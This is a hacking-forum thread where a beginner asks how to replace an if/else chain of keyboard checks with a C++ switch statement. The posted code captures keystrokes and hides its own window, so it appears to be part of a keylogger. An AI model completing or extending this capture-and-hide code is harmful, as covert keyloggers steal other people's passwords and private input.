Follow us on Twitter!
The measure of a mans life is not how well he dies, but how well he lives.
Monday, April 21, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 25
Guests Online: 23
Members Online: 2

Registered Members: 82856
Newest Member: djtonyg
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

C++ switch statement help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 29-04-11 14:46
Hello, I am having a little bit of difficulty finding out how I can take out the if else statements in my script, and replace them with a switch statement. I started learning c++ recently, sooo I probably haven't done enough google searching yet. Don't get me wrong, I know how to use a switch statement. It's just I don't know how to get a switch statement to be used with GetAsyncKeyState. Here is the code...


Code

        if (!GetAsyncKeyState(VK_BACK))
          {
          if (!GetAsyncKeyState(VK_RETURN))
            {
            if (GetAsyncKeyState(190))
              {
              printf(".",character,character);
              } else if (GetAsyncKeyState(160)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(188)) {
              printf(",",character,character);
              } else if (GetAsyncKeyState(222)) {
              printf("'",character,character);
              } else if (GetAsyncKeyState(186)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(191)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(20)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(220)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(221)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(219)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(287)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(289)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(17)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(162)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(187)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(189)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(16)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(161)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(192)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(27)) {
              printf("",character,character);
              } else if (GetAsyncKeyState(34)) {
              ShowWindow(stealth, SW_SHOWMINIMIZED);
              } else if (GetAsyncKeyState(35)) {
              ShowWindow(stealth, 0);
              } else {
              printf("%c",character,character);
              }
            }
          }




Author

RE: C++ switch statement help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 29-04-11 15:42
Sweet Jesus that's horrible!

Switch-case are used to check one result against a set of values. Not to check multiple results( I think PHP lets you do this actually).

Is there a function which will return pressed keys? If so...

Code
if((!GetAsyncKeyState(VK_BACK))&&(!GetAsyncKeyState(VK_RETURN))){
     switch(getPressedKey()){
          case 160:
                 printf("",character,character);
                 break;
          ..................
          default:
                  printf("%c",character,character);
     }
}







Edited by on 29-04-11 16:46
Author

RE: C++ switch statement help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 29-04-11 17:20
Thanks wolfman for the help. I have found my answer though. With a little bit of modifications to my code and a for statement, I am now able to get what I want done. Thanks again.